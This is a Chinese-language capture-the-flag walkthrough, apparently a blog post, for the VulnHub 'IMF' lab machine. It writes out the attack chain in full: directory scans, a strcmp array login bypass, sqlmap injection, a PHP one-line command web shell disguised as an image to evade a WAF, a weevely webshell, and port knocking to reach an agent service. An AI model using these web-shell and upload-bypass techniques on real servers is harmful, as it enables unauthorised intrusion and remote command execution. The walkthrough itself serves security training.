vulnhub-MIF

MIF

靶机下载链接:

https://download.vulnhub.com/imf/IMF.ova

 

1.信息收集

查看靶机的ip地址,及开放的端口

nmap -sC -sS -sV 10.7.184.0/24

ip:10.7.184.162    80端口 http服务打开了   可以使用浏览器连接服务器

 

使用gobuster 进行目录扫描

root@kali:/usr/share/seclists/Discovery# gobuster dir -w
/usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.7.184.162/  -x jsp

2.漏洞发现

查看网页的源代码,发现里面有一些url,分别打开。在

http://10.7.184.162/contact.php

中找到flag 

<!-- flag1{YWxsdGhlZmlsZXM=} -->

base64解码后flag1{allthefiles}

 

发现js文件名有点奇怪

ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==' |base64 -d
flag2{aW1mYWRtaW5pc3RyYXRvcg==
base64解码后得到flag2{aW1mYWRtaW5pc3RyYXRvcg==}
再次解码aW1mYWRtaW5pc3RyYXRvcg== 

得到imfadministrator

 

访问http://10.7.184.162/imfadministrator/   后进入登陆界面

输入任意用户名显示 Invalid username,所以回到contact.php,复制联系人邮箱的前半部分,这里我用的是rmichaels, 之后就只是提示Invalid password了。

 

查看源码发现注释

通过分析注释得知密码是直接写在php文件里的

猜测是使用strcmp之类的来判断密码的。当strcmp的两个字符串参数相等的时候会返回0,但如果把string和array相比较的话,strcmp也会返回0。

所以将源码里的<input name="pass" value="" type="password">

修改成<input name="pass[]" value="" type="password">使pass参数变成array。

提交后发现flag3,base64解码后得到提示:continueTOcms

ps:在登陆的账号输入: rmichaels   再进行上面的修改,最后点击login

flag3{Y29udGludWVUT2Ntcw==}   base64解码后 continueTOcms

3.漏洞利用

点击进入CMS页面

http://10.7.184.162/imfadministrator/cms.php?pagename=home

pagename=home  是一个注入点使用sqlmap 注入测试

首先使用burpsuit 抓个包, 把数据复制保存仅一个1233.txt文件

使用sqlmap:

sqlmap -r 1233.txt --dump

发现有一个页面是源代码没有,没有直接跳转的tutorials-incomplete

访问页面:http://10.7.184.162/imfadministrator/cms.php?pagename=tutorials-incomplete

发现里面有张带二维码的图片,扫描二维码得到flag

flag4{dXBsb2Fkcjk0Mi5waHA=}    base64解码得uploadr942.php

 

4.提权

既然得到了,肯定就得试试, 又不会逝世

http://10.7.184.162/imfadministrator/uploadr942.php

ok进入文件上传目录了, 不多说配图先上

在windows得cmd中使用copy 111.jpg /b + 222.txt /a  333.jpg

.jpg为图片  txt为一句话木马:<?php $s=$_GET['s']; echo `$s`; ?> 最后为新创图片

 

ps:上述图片马是损坏得,也可以使用winhex弄张不损坏得图片

直接使用一句话木马做的图片是不行得会报错

Error: CrappyWAF detected malware. Signature: Eval php function detected

 

上传一张444.gif木马图片成功,借着就是寻找上传路径

还是使用gobuster目录爆破

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.7.184.162/imfadministrator -x jsp

好吧一眼就看到这个uploads目录,接着还得找一下文件名字,我试了以下原名子发现不行。

我上传了多张图片分析源代码,发现下方这个值一直在变,所以没错文件名就是你了。

访问文件http://10.7.184.162/imfadministrator/uploads/d242d8adbf66.gif?s=ls

得到flag5_abc123def.txt  然后就得打开flag文件了

再次访问10.7.184.162/imfadministrator/uploads/d242d8adbf66.gif?s=cat flag5_abc123def.txt

flag5{YWdlbnRzZXJ2aWNlcw==}     base64得   agentservices    :代理服务

所以下一个flag和代理服务(agent service)有关,就必须进入系统拿到权限才行

 

FLAG 6

root@kali:/home/heavm/桌面# weevely generate shell shell.php

//使用命令 创建一个密码为 shell 文件名为shell.php的webshell

随意添加GIF值制作图片木马,将文件后缀名从 .php改为.gif

 

上传文件

打开源代码,查看文件名为f607f4ed4584.gif

 

使用命令连接:

weevely http://10.7.184.162/imfadministrator/uploads/69fea8f76407.gif shell

当然flag5,也可以在这里获取

 

查看开放的端口netstat,根据开放的端口查看各个端口的服务功能,

发现7788端口是代理服务

使用命令ps -aux  查看进程  ,knockd 打开 需要敲门

端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”(访问端口),使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。

 

找到文件,看文件, 找到access_codes    得到敲门的顺序是7482,8279,9467

可以使用nc  或者nmap敲门

使用nmap查看端口,  全被filtered (过滤了)

开始使用knock敲门  

knock 10.7.184.162 7482 8279 9467 

然后使用nmap查看7788代理服务端口是否打开:

nmap -p 7788 10.7.184.162

ps:kali中knock安装命令:

sudo apt-get install knockd

接下来就得一个agent文件

安装ltrace

编译安装 agent

 

运行agent 得到agent id   :48093572

使用nc连接   nc 10.7.184.162 7788  然后把输入agent id :48093572

得到 flag 6

 

参考链接:

https://blog.csdn.net/qq_38005854/article/details/105542493

https://www.freebuf.com/articles/system/177116.html

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值